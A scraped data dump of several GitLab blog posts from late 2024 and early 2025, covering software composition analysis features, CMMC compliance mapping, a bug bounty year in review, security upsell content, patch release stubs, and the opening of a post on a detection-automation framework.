5","en-us/blog/gitlab-patch-release-17-7-1-17-6-3-17-5-5.yml","en-us/blog/gitlab-patch-release-17-7-1-17-6-3-17-5-5",{"_path":1301,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1302,"content":1307,"config":1312,"_id":1314,"_type":16,"title":1315,"_source":17,"_file":1316,"_stem":1317,"_extension":20},"/en-us/blog/reduce-supply-chain-risk-with-smarter-vulnerability-prioritization",{"title":1303,"description":1304,"ogTitle":1303,"ogDescription":1304,"noIndex":6,"ogImage":970,"ogUrl":1305,"ogSiteName":767,"ogType":768,"canonicalUrls":1305,"schema":1306},"Reduce supply chain risk with smarter vulnerability prioritization","New software composition analysis features use risk-based intelligence so developers and security teams can prioritize critical vulnerabilities for targeted remediation.","https://about.gitlab.com/blog/reduce-supply-chain-risk-with-smarter-vulnerability-prioritization","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Reduce supply chain risk with smarter vulnerability prioritization\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Salman Ladha\"}],\n        \"datePublished\": \"2025-01-07\",\n      }",{"title":1303,"description":1304,"authors":1308,"heroImage":970,"date":1309,"body":1310,"category":14,"tags":1311},[710],"2025-01-07","Application Security teams face a constant uphill battle in risk reduction due to the ever-growing number of vulnerabilities. This year alone, [36,000 Common Vulnerabilities and Exposures (CVEs)](https://www.cvedetails.com/) have been reported — a 25% increase from last year. The sharp rise intensifies the challenge of prioritization in vulnerability management, especially for lean AppSec teams. \n\nTo help, we’ve introduced several new enhancements to our Software Composition Analysis (SCA) solution. These improvements are available for all GitLab Ultimate customers:  \n\n* **Static Reachability Analysis** identifies the *exploitable* vulnerabilities from open source components in your applications.   \n* **Known Exploited Vulnerabilities** (KEV) **Indicator** highlights known, actively exploited vulnerabilities.   \n* **Exploit Prediction Scoring System** (EPSS) predicts the likelihood of a vulnerability being exploited.\n\nBy prioritizing exploitable vulnerabilities, AppSec teams can reduce triage times, accelerate remediation cycles, and improve collaboration with their development counterparts. Powered by our recent acquisitions of [Oxeye](https://about.gitlab.com/blog/oxeye-joins-gitlab-to-advance-application-security-capabilities/) and [Rezilion's intellectual property](https://ir.gitlab.com/news/news-details/2024/GitLab-Reports-First-Quarter-Fiscal-Year-2025-Financial-Results/default.aspx), these new capabilities align with our vision of providing best-in-class application security solutions, natively built into developer workflows. \n\n### What is SCA and why does it matter? \n\nSoftware Composition Analysis helps organizations identify and manage open source components within their applications. By scanning the codebase, SCA provides insights into the component versions, licenses, and importantly, known vulnerabilities. With [90% of Fortune 500](https://www.nber.org/be/20241/open-source-software-creators-its-not-just-about-money) companies dependent on open source components for their applications, SCA provides much-needed visibility to mitigate software supply chain risk. \n\nHigh-profile breaches like [SolarWinds](https://www.wired.com/story/the-untold-story-of-solarwinds-the-boldest-supply-chain-hack-ever/) and [Log4Shell](https://www.ncsc.gov.uk/information/log4j-vulnerability-what-everyone-needs-to-know) highlight how vulnerabilities in third-party components can compromise countless downstream applications. SCA tools act as proactive measures, enabling teams to identify vulnerabilities and enforce compliance early in the software development lifecycle, ensuring software security while maintaining development velocity. \n\n### Filter out the noise for targeted remediation \n\nWith our latest SCA enhancements, GitLab helps you cut through the noise to prioritize real risks, reduce backlogs, and remediate faster – all within your existing workflows. \n\n**Focus on vulnerabilities that pose the greatest risk** \n\n* Static Reachability Analysis leverages the proprietary detection engine of our [Advanced SAST](https://about.gitlab.com/blog/gitlab-advanced-sast-is-now-generally-available/) solution to surface vulnerabilities from dependencies that can *actually* be exploited in your application. \n\n**Reduce triage times** \n\n* With KEV indicators and EPSS scoring, GitLab gives security teams actionable insights into vulnerabilities that are actively being exploited or likely to be targeted. Incorporating risk-based scoring helps teams effectively triage their vulnerability backlog. \n\n**Faster remediation to mitigate supply chain risk** \n\n* Our SCA enhancements are built into developer workflows, providing contextual remediation guidance while maintaining developer productivity. \n\n### What’s next for SCA \n\nWe’re continuing to integrate Rezilion’s technology into our platform to help teams secure their software supply chains more effectively. Rezilion will be key to powering future innovations, including:\n\n* **Supporting faster remediation** workflows by automatically opening merge requests with fixes for detected vulnerabilities   \n* **Enriching package metadata** using [OpenSSF scorecard ratings](https://openssf.org/projects/scorecard/) to provide security teams with more information on dependencies such as authors and end-of-life status   \n* **Improving open-source software license detection** to ensure compliance and reduce legal risks \n\n### Get started with SCA \n\nIf you’re an existing GitLab Ultimate customer and would like to learn more about how Software Composition Analysis can enhance your application security program, visit our [documentation](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/). There, you’ll find details on implementation requirements, use cases, and more. Or if you’re not yet a GitLab Ultimate customer, get started with a [free trial](https://about.gitlab.com/free-trial/) today to explore how GitLab enhances your ability to write secure software, achieve compliance goals, and improve development velocity. \n\n##### ***Disclaimer**: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab.*",[14,715,479,695],{"slug":1313,"featured":92,"template":677},"reduce-supply-chain-risk-with-smarter-vulnerability-prioritization","content:en-us:blog:reduce-supply-chain-risk-with-smarter-vulnerability-prioritization.yml","Reduce Supply Chain Risk With Smarter Vulnerability Prioritization","en-us/blog/reduce-supply-chain-risk-with-smarter-vulnerability-prioritization.yml","en-us/blog/reduce-supply-chain-risk-with-smarter-vulnerability-prioritization",{"_path":1319,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1320,"content":1326,"config":1330,"_id":1332,"_type":16,"title":1333,"_source":17,"_file":1334,"_stem":1335,"_extension":20},"/en-us/blog/streamline-the-path-to-cmmc-level-2-compliance-with-gitlab",{"title":1321,"description":1322,"ogTitle":1321,"ogDescription":1322,"noIndex":6,"ogImage":1323,"ogUrl":1324,"ogSiteName":767,"ogType":768,"canonicalUrls":1324,"schema":1325},"Streamline the path to CMMC Level 2 compliance with GitLab","Learn how GitLab’s comprehensive, AI-powered DevSecOps platform can help organizations meet Cybersecurity Maturity Model Certification Level 2 compliance requirements.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098208/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_479904468%20%281%29_4lmOEVlaXP0YC3hSFmOw6i_1750098208185.jpg","https://about.gitlab.com/blog/streamline-the-path-to-cmmc-level-2-compliance-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Streamline the path to CMMC Level 2 compliance with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joseph Longo\"}],\n        \"datePublished\": \"2025-01-07\",\n      }",{"title":1321,"description":1322,"authors":1327,"heroImage":1323,"date":1309,"body":1328,"category":14,"tags":1329},[772],"The [Cybersecurity Maturity Model Certification (CMMC)](https://dodcio.defense.gov/cmmc/About/) Program is a framework developed by the U.S. Department of Defense (DoD) to enforce cybersecurity requirements and protect sensitive unclassified information shared by the DoD with contractors and subcontractors.\n\nWith the release of the CMMC [final rule](https://www.federalregister.gov/documents/2024/10/15/2024-22905/cybersecurity-maturity-model-certification-cmmc-program), DoD contractors can begin to assess and align their controls and processes to be compliant with CMMC’s requirements.\n\nThis article explains how GitLab customers can leverage the GitLab platform to help satisfy relevant NIST SP 800-171 R2 requirements to achieve CMMC Level 2 compliance.\n\n### Access Control\n\n#### 3.1.1, 3.1.2, 3.1.4 - 3.1.8, 3.1.11 - 3.1.13, 3.1.15\n\nGitLab’s access management features broadly support CMMC access control requirements.\n\nGitLab’s [role-based access control (RBAC) model](https://docs.gitlab.com/ee/user/permissions.html) enables customers to limit access to authorized users, implement separation of duties, and ensure such users are only granted the permissions they require to perform their responsibilities.\n\nGitLab also supports [custom roles](https://docs.gitlab.com/ee/user/custom_roles.html) enabling organizations to craft roles that more accurately meet their needs.\n\nGitLab’s [audit events](https://docs.gitlab.com/ee/user/compliance/audit_events.html) capture different actions within GitLab, including administrative actions. With RBAC and audit events, organizations can prevent non-privileged users from performing administrative actions and log such actions when they do occur.\n\nTo address the National Institute of Standards and Technology (NIST) requirement for limiting unsuccessful logon attempts, GitLab addresses this in [a few different ways](https://docs.gitlab.com/ee/security/unlock_user.html) depending on the particular service offering a customer is subscribed to.\n\nBy default, GitLab implements limits on how long user sessions can remain valid without activity. Self-managed customers can configure this [setting](https://docs.gitlab.com/ee/administration/settings/account_and_limit_settings.html#customize-the-default-session-duration) to meet their organizational needs.\n\nGitLab secures data in transit through [encryption](https://docs.gitlab.com/ee/security/tls_support.html) and offers options for organizations to limit how their users connect to their GitLab namespace or instance.\nOrganizations can restrict access to their top level group by [IP address](https://docs.gitlab.com/ee/user/group/access_and_permissions.html), and GitLab Dedicated customers can take a step further by using [AWS PrivateLink](https://docs.gitlab.com/ee/administration/dedicated/#aws-privatelink-connection-optional) as a connection gateway.\n\n### Audit and Accountability\n\n#### 3.3.1, 3.3.2, 3.3.8, 3.3.9\n\nAs mentioned, GitLab [audit events](https://docs.gitlab.com/ee/user/compliance/audit_events.html) capture different actions within GitLab, including administrative actions. Audit events in GitLab are associated with an individual user responsible for the event, and the audit events themselves are immutable.\n\nFor organizations with a GitLab Ultimate license, [audit event streaming](https://docs.gitlab.com/ee/user/compliance/audit_event_streaming.html) enables them to set a streaming destination for their top-level group’s audit events. GitLab Self-managed (Ultimate) and GitLab Dedicated customers can utilize the same functionality for streaming their GitLab [instance audit events](https://docs.gitlab.com/ee/administration/audit_event_streaming/index.html) as well.\n\n### Configuration Management\n\n#### 3.4.1 - 3.4.3, 3.4.5\n\nGitLab’s [Create stage](https://about.gitlab.com/features/?stage=create) enables organizations to design, develop, and securely manage code and project data. Configurations for organizational systems can be stored, managed, and deployed leveraging GitLab’s [infrastructure as code features](https://about.gitlab.com/features/?stage=deploy#infrastructure_as_code).\n\nBy managing configuration changes through code, organizations can track the lineage of each change request. [Merge request approval rules](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html) enable organizations to enforce how many approvals a merge request must receive before it can be merged, and which users are authorized to approve such requests. The history of each request is retained and can be reviewed through git.\n\n![CMMC - Multiple approvals](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098221/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098221222.png)\n\n\u003Ccenter>\u003Ci>Multiple approval rules\u003C/i>\u003C/center>\n\n### Identification and Authentication\n\n#### 3.5.1 - 3.5.3\n\nGitLab supports SAML SSO integrations for [GitLab.com groups](https://docs.gitlab.com/ee/user/group/saml_sso/), [GitLab Dedicated, and Self-managed instances](https://docs.gitlab.com/ee/integration/saml.html). Organizations can further simplify their GitLab identity and access management (IAM) processes by configuring System for Cross-domain Identity Management (SCIM).\n\nGitLab also supports the use of [multi-factor authentication](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html), thereby enabling organizations to choose the IAM controls that fit their organizational needs.\n\n### Risk Assessment\n\n#### 3.11.2 - 3.11.3\n\nGitLab supports a powerful suite of scanning features to help create holistic and robust application development and supply chain management processes.\n\nGitLab enables organizations to discover vulnerabilities through [Static Application Security Testing (SAST)](https://about.gitlab.com/features/?stage=secure#static_application_security_testing), [Infrastructure as Code Security Scanning](https://docs.gitlab.com/ee/user/application_security/iac_scanning/), [Dynamic Application Security Testing (DAST)](https://about.gitlab.com/features/?stage=secure#dynamic_application_security_testing), [Container Scanning](https://about.gitlab.com/features/?stage=secure#container_scanning), and [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/). \n\nDiscovered vulnerabilities on the default branch can be viewed in aggregate through GitLab’s [Vulnerability Report](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/). From there, organizations can dive into each finding’s [Vulnerability page](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/) to [create issues](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/index.html#create-a-gitlab-issue-for-a-vulnerability) to track and discuss the vulnerability, and [resolve the vulnerability](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#resolve-a-vulnerability), either manually or via a merge request.\n\n![CMMC - Vulnerability report](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098221/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098221223.png)\n\nAdditionally, GitLab Duo’s [Vulnerability Explanation](https://docs.gitlab.com/ee/user/gitlab_duo/#vulnerability-explanation) feature can be leveraged to better understand discovered vulnerabilities, how they can be exploited, and how to fix them.\n\nTo go a step further, AWS recently [announced GitLab Duo with Amazon Q](https://about.gitlab.com/blog/gitlab-duo-with-amazon-q-devsecops-meets-agentic-ai/). Within a GitLab merge request, Amazon Q developer scans all changes looking for security vulnerabilities, quality issues such as code that doesn’t follow best practices, and any other potential problems with the code. After it’s finished, it will add each finding as a comment that includes a snippet of the problematic code found, a description of the issue, and a severity rating. Amazon Q with GitLab Duo will also recommend a code security fix.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1033653810?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab Duo and Amazon Q\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n### System and Information Integrity\n\n#### 3.14.1\n\nAs mentioned above, GitLab provides numerous features to identify vulnerabilities. Organizations can structure [scan execution policies](https://docs.gitlab.com/ee/user/application_security/policies/scan_execution_policies.html) to help ensure vulnerabilities are identified expediently when commits are pushed and on a regular schedule. Identified vulnerabilities can be [linked](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#link-a-vulnerability-to-existing-gitlab-issues) to issues for identified software flaws to support a more informed and unified remediation process.\n\nHere is an at-a-glance look at GitLab's companion features for CMMC Level 2:\n\n![Table of CMMC Level 2 compliance capabilities in GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098221/Blog/Content%20Images/Blog/Content%20Images/cmmctable_aHR0cHM6_1750098221225.png)\n\n### Learn more\n\nAs the most comprehensive AI-powered DevSecOps platform, GitLab enables its customers to meet a broad range of regulatory and compliance requirements through an extensive and rich feature set. You can dig deeper into these features with our [library of tutorials](https://docs.gitlab.com/ee/tutorials/).",[14,479,184],{"slug":1331,"featured":6,"template":677},"streamline-the-path-to-cmmc-level-2-compliance-with-gitlab","content:en-us:blog:streamline-the-path-to-cmmc-level-2-compliance-with-gitlab.yml","Streamline The Path To Cmmc Level 2 Compliance With Gitlab","en-us/blog/streamline-the-path-to-cmmc-level-2-compliance-with-gitlab.yml","en-us/blog/streamline-the-path-to-cmmc-level-2-compliance-with-gitlab",{"_path":1337,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1338,"content":1343,"config":1349,"_id":1351,"_type":16,"title":1352,"_source":17,"_file":1353,"_stem":1354,"_extension":20},"/en-us/blog/gitlabs-2024-bug-bounty-year-in-review",{"title":1339,"description":1340,"ogTitle":1339,"ogDescription":1340,"noIndex":6,"ogImage":1203,"ogUrl":1341,"ogSiteName":767,"ogType":768,"canonicalUrls":1341,"schema":1342},"GitLab's 2024 bug bounty year in review","Who were the 2024 top 5 bug reporters? Find out in this look back at 12 months of bug hunting. Also learn how to participate in 2025's bug bounty program.","https://about.gitlab.com/blog/gitlabs-2024-bug-bounty-year-in-review","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab's 2024 bug bounty year in review\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ottilia Westerlund\"}],\n        \"datePublished\": \"2025-01-06\",\n      }",{"title":1339,"description":1340,"authors":1344,"heroImage":1203,"date":1346,"body":1347,"category":14,"tags":1348},[1345],"Ottilia Westerlund","2025-01-06","It’s that time again when everyone reflects on the year that just passed, and the [Application Security](https://handbook.gitlab.com/handbook/security/security-engineering/application-security/) team at GitLab is no different. We run the bug bounty program at GitLab, and every year we summarize our stats for those who are curious. We wouldn't be where we are without the collaboration of our bug bounty community, and we consider these awards hugely beneficial and money well spent. \n\n## GitLab Bug Bounty Program by the numbers \n\n* Awarded over US$1 million in bounties across 275 valid reports.  \n* Received a total of 1,440 reports from 457 researchers in 2024.  \n* Our busiest month was July, when we paid out over US$193,000!\n\n*Note: Data is accurate as of 31st of December, 2024.* \n\nYou can see program statistics updated daily on our [HackerOne program page](https://hackerone.com/gitlab).\n\n## GitLab Bug Bounty Researchers of the Year\n\nIt's time to shine a spotlight on the brilliant minds who have contributed to making GitLab more secure. Our bug bounty program continues to be a crucial part of our security strategy, and we're thrilled to recognize the outstanding efforts of our top researchers.\n\n### Most Valid Reports: joaxcar\n\nLeading the pack with an impressive 55 valid reports, [joaxcar](https://hackerone.com/joaxcar?type=user) has demonstrated exceptional dedication and skill in identifying potential vulnerabilities. joaxcar’s consistent contributions have played a significant role in enhancing GitLab's security posture, and has risen to our No. 1 contributing researcher.\n\n### Newcomer of the Year: a92847865\n\nWe're always excited to welcome fresh talent to our bug bounty program. This year, [a92847865](https://hackerone.com/a92847865?type=user) caught our attention by submitting 16 valid reports since their first submission on May 10. Their quick impact showcases the importance of new perspectives in security research.\n\n### Most Innovative Report: yvvdwf\n\nInnovation is key to staying ahead of potential threats. A report made by [yvvdwf](https://hackerone.com/yvvdwf?type=user) stood out for its creative approach to identifying a complex vulnerability. This kind of out-of-the-box thinking is invaluable in our ongoing security efforts.\n\n### Most Impactful Finding: ahacker1\n\nSometimes, a single discovery can have far-reaching implications. One of [ahacker1's](https://hackerone.com/ahacker1?type=user) reports was particularly impactful this year. This finding led to significant improvements in our pipeline security and API access controls. \n\n### Best Written Report: matanber\n\nClearly written communication is crucial in bug bounty reports. This year, [matanber](https://hackerone.com/matanber) provided an exceptionally detailed explanation of a complex Web IDE vulnerability. The report included comprehensive technical diagrams, relevant code snippets, and step-by-step explanations that showcased the issue perfectly. The clarity and thoroughness of the report made it easier for our team to understand, validate, and promptly fix the issue.\n\n### Special swag\n\nAs a token of our gratitude (in addition to the monetary reward, of course), we are sending our top bug bounty researchers some limited edition swag! Psst, winners, make sure to check your HackerOne emails!\n\n## Other highlights\n\nWe continued running our 90-day challenges where researchers focused on different areas of GitLab in return for an extra bug bounty bonus payout. We saw a great turnout for these, and it’s something we will look into continuing in 2025. \n\nWe also hosted another \"Ask a hacker AMA\" – this time with @ahacker1. [Read the recap blog](https://hackerone.com/ahacker1?type=user) or watch the interview:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/EPV0eNOOfv4?si=byNqXWKZzZLXfLfW\" title=\"GitLab Ask a Hacker AMA with Alexander Siyou Tan (@ahacker1)\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Looking ahead\n\nAs we move into 2025, we're excited to see the new discoveries of our bug bounty community. Your efforts continue to be a cornerstone of our security strategy, helping us build a more secure platform for developers around the world.\n\nTo all our researchers: Thank you for your hard work, creativity, and commitment to security. Here's to another year of smashing bugs!\n\n> #### Learn how to participate in the [GitLab 2025 Bug Bounty program](https://hackerone.com/gitlab?type=team).\n",[899,14,267],{"slug":1350,"featured":6,"template":677},"gitlabs-2024-bug-bounty-year-in-review","content:en-us:blog:gitlabs-2024-bug-bounty-year-in-review.yml","Gitlabs 2024 Bug Bounty Year In Review","en-us/blog/gitlabs-2024-bug-bounty-year-in-review.yml","en-us/blog/gitlabs-2024-bug-bounty-year-in-review",{"_path":1356,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1357,"content":1363,"config":1369,"_id":1371,"_type":16,"title":1372,"_source":17,"_file":1373,"_stem":1374,"_extension":20},"/en-us/blog/3-signs-your-team-is-ready-to-uplevel-security-controls-in-gitlab",{"title":1358,"description":1359,"ogTitle":1358,"ogDescription":1359,"noIndex":6,"ogImage":1360,"ogUrl":1361,"ogSiteName":767,"ogType":768,"canonicalUrls":1361,"schema":1362},"3 signs your team is ready to uplevel security controls in GitLab","Learn when to upgrade your GitLab security practices, from permission management to compliance adherence. Discover key features in GitLab Premium that scale with your team.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664299/Blog/Hero%20Images/AdobeStock_887599633.jpg","https://about.gitlab.com/blog/3-signs-your-team-is-ready-to-uplevel-security-controls-in-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"3 signs your team is ready to uplevel security controls in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Julie Griffin\"}],\n        \"datePublished\": \"2024-12-18\",\n      }",{"title":1358,"description":1359,"authors":1364,"heroImage":1360,"date":1366,"body":1367,"category":14,"tags":1368},[1365],"Julie Griffin","2024-12-18","Most teams start with basic security practices, such as branch protection and simple access controls. But, there's often a moment when teams realize they need more. It could be when they land their first enterprise client, when they start handling sensitive data, or when they experience their first security incident.\n\nIf you’re unsure whether you’re ready to upgrade your security, here are a few signs you’ve outgrown your security needs:\n\n* You spend more time managing permissions than writing code.  \n* Security reviews create development bottlenecks.  \n* You can't definitively say who changed what and when.  \n* You're unsure if security policies are consistently followed.\n\nDo any of these signs resonate with you? Let's explore how teams typically mature their security practices as they grow. \n\n## 1. Your organization requires advanced access controls.\n\nManual permission management can be tedious and prone to errors. While it’s manageable for a team of three, it becomes much more complex as your team grows to 15, 30, or 100 developers. \n\nThe disadvantages of an intricate permission system are two-fold:\n\n1. It becomes more likely that accidental or unauthorized changes are made to critical parts of the codebase.  \n2. Managing complex permissions takes time that could be spent developing valuable software for the business. \n\n### Features that automate permission management\n\nScaling teams need features that automate permission management. GitLab Premium offers enterprise-grade Agile planning features that provide [organizational hierarchies](https://about.gitlab.com/blog/best-practices-to-set-up-organizational-hierarchies-that-scale/), enabling advanced permissions management at the group or sub-group level. \n\nThis, alongside features like [Protected Branches](https://docs.gitlab.com/ee/user/project/repository/branches/protected.html) and restricted push and merge access, save growing teams time while providing an additional layer of security. \n\n## 2. You need to build a robust review process.\n\nMany teams have senior developers review security-sensitive code. However, as your codebase expands, it becomes more challenging to ensure the right people are reviewing the right changes. This can lead to an elongated review process or the release of insecure code before it’s been reviewed by the right parties. \n\nWhen you notice security reviews becoming inconsistent or creating bottlenecks, it’s time to consider solutions that give you tighter control over your merge request pipelines. \n\n### Features that enhance the review process\n\nGitLab Premium helps teams mature beyond manual processes with capabilities like [Multiple Approvers](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/) and [push rules](https://docs.gitlab.com/ee/user/project/repository/push_rules.html). These features improve your code by ensuring it’s reviewed before it is merged, preventing errors from occurring late in the development process. It also requires higher levels of authorization and verification to those who push or commit to a git branch. \n\n## 3. You need to strengthen compliance adherence.\n\nWhen your team is small, you know who is working on what projects and when deployments will occur. But, as your team grows it becomes more challenging (if not impossible) to follow all code changes and activities. It’s also easy to lose sight of security policies and whether all team members are consistently following them.\n\nThese are signs that you need tools to help you track changes and ensure code quality meets regulatory requirements. \n\n### Features that improve compliance efforts\n\nWith GitLab Premium’s [Audit Events](https://docs.gitlab.com/ee/administration/audit_event_reports.html), you can track and review changes, such as who performed certain actions at what time within the repository. At the same time, [Code Quality Reports](https://docs.gitlab.com/ee/ci/testing/code_quality.html) can check for adherence to compliance standards. This can help teams more readily prove compliance while also quickly identifying and fixing problems within the code. \n\n## Scale your security efforts with GitLab Premium \n\nIf you’re experiencing security-related growing pains as your business scales, consider upleveling your security needs before it’s too late. Empower your team with features that prioritize security and compliance, and accelerate software delivery. \n\n> #### [Upgrade to GitLab Premium today!](https://about.gitlab.com/pricing/premium/why-upgrade/)",[14,479,715],{"slug":1370,"featured":92,"template":677},"3-signs-your-team-is-ready-to-uplevel-security-controls-in-gitlab","content:en-us:blog:3-signs-your-team-is-ready-to-uplevel-security-controls-in-gitlab.yml","3 Signs Your Team Is Ready To Uplevel Security Controls In Gitlab","en-us/blog/3-signs-your-team-is-ready-to-uplevel-security-controls-in-gitlab.yml","en-us/blog/3-signs-your-team-is-ready-to-uplevel-security-controls-in-gitlab",{"_path":1376,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1377,"content":1384,"config":1390,"_id":1393,"_type":16,"title":1394,"_source":17,"_file":1395,"_stem":1396,"_extension":20},"/en-us/blog/gitlab-patch-release-17-6-2-17-5-4-17-4-6",{"title":1378,"description":1379,"ogTitle":1378,"ogDescription":1379,"config":1380,"ogImage":1381,"ogUrl":1382,"ogSiteName":767,"ogType":768,"canonicalUrls":1382,"schema":1383},"GitLab Patch Release: 17.6.2, 17.5.4, 17.4.6","Learn more about GitLab Patch Release for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662877/Blog/Hero%20Images/security-cover-new.png","https://about.gitlab.com/blog/gitlab-patch-release-17-6-2-17-5-4-17-4-6","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 17.6.2, 17.5.4, 17.4.6\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Costel Maxim\"}],\n        \"datePublished\": \"2024-12-11\",\n      }",{"title":1378,"description":1379,"authors":1385,"heroImage":1381,"date":1387,"body":1388,"category":14,"tags":1389},[1386],"Costel Maxim","2024-12-11","This the blog post for [GitLab Patch Release: 17.6.2, 17.5.4, 17.4.6](https://about.gitlab.com/releases/2024/12/11/patch-release-gitlab-17-6-2-released/).",[1292],{"slug":1391,"featured":6,"template":677,"externalUrl":1392},"gitlab-patch-release-17-6-2-17-5-4-17-4-6","https://about.gitlab.com/releases/2024/12/11/patch-release-gitlab-17-6-2-released/","content:en-us:blog:gitlab-patch-release-17-6-2-17-5-4-17-4-6.yml","Gitlab Patch Release 17 6 2 17 5 4 17 4 6","en-us/blog/gitlab-patch-release-17-6-2-17-5-4-17-4-6.yml","en-us/blog/gitlab-patch-release-17-6-2-17-5-4-17-4-6",{"_path":1398,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1399,"content":1404,"config":1409,"_id":1412,"_type":16,"title":1413,"_source":17,"_file":1414,"_stem":1415,"_extension":20},"/en-us/blog/gitlab-patch-release-17-6-1-17-5-3-17-4-5",{"title":1400,"description":1379,"ogTitle":1400,"ogDescription":1379,"config":1401,"ogImage":1381,"ogUrl":1402,"ogSiteName":767,"ogType":768,"canonicalUrls":1402,"schema":1403},"GitLab Patch Release: 17.6.1, 17.5.3, 17.4.5",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-17-6-1-17-5-3-17-4-5","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 17.6.1, 17.5.3, 17.4.5\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ottilia Westerlund\"}],\n        \"datePublished\": \"2024-11-26\",\n      }",{"title":1400,"description":1379,"authors":1405,"heroImage":1381,"date":1406,"body":1407,"category":14,"tags":1408},[1345],"2024-11-26","This is the post for [GitLab Patch Release: 17.6.1, 17.5.3, 17.4.5](https://about.gitlab.com/releases/2024/11/26/patch-release-gitlab-17-6-1-released/).",[1292],{"slug":1410,"featured":6,"template":677,"externalUrl":1411},"gitlab-patch-release-17-6-1-17-5-3-17-4-5","https://about.gitlab.com/releases/2024/11/26/patch-release-gitlab-17-6-1-released/","content:en-us:blog:gitlab-patch-release-17-6-1-17-5-3-17-4-5.yml","Gitlab Patch Release 17 6 1 17 5 3 17 4 5","en-us/blog/gitlab-patch-release-17-6-1-17-5-3-17-4-5.yml","en-us/blog/gitlab-patch-release-17-6-1-17-5-3-17-4-5",{"_path":1417,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1418,"content":1423,"config":1429,"_id":1431,"_type":16,"title":1432,"_source":17,"_file":1433,"_stem":1434,"_extension":20},"/en-us/blog/unveiling-the-guard-framework-to-automate-security-detections-at-gitlab",{"title":1419,"description":1420,"ogTitle":1419,"ogDescription":1420,"noIndex":6,"ogImage":765,"ogUrl":1421,"ogSiteName":767,"ogType":768,"canonicalUrls":1421,"schema":1422},"Unveiling the GUARD framework to automate security detections at GitLab","The GitLab Universal Automated Response and Detection (GUARD) framework spans creation, maintenance, alert routing and handling, rich metrics collection, and more.","https://about.gitlab.com/blog/unveiling-the-guard-framework-to-automate-security-detections-at-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Unveiling the GUARD framework to automate security detections at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Harjeet Sharma\"},{\"@type\":\"Person\",\"name\":\"Valentine Mairet\"},{\"@type\":\"Person\",\"name\":\"Matt Coons\"}],\n        \"datePublished\": \"2024-11-26\",\n      }",{"title":1419,"description":1420,"authors":1424,"heroImage":765,"date":1406,"body":1427,"category":14,"tags":1428,"updatedDate":1406},[1425,1426,794],"Harjeet Sharma","Valentine Mairet","[GitLab Security Operations](https://handbook.gitlab.com/handbook/security/security-operations/) leverages automation as a guiding principle to ensure our security engineers have the time to focus on what matters, not manual mundane tasks that can be standardized and automated. We applied this principle to securing the GitLab.com SaaS platform, which generates terabytes of log data daily and requires the GitLab Security team to standardize, automate, and scale security workflows for enhanced protection and efficiency. The result: a new framework we call GitLab Universal Automated Detection and Response, or GUARD – a collaboration between the GitLab [Security Incident Response Team (SIRT)](https://handbook.gitlab.com/handbook/security/security-operations/sirt/) and the [Signals Engineering Team](https://handbook.gitlab.com/handbook/security/security-operations/signals-engineering/).\n\nGUARD covers all aspects of security detection, including:\n* creation\n* maintenance\n* alert routing and handling\n* rich metrics collection\n* alert closure or incident 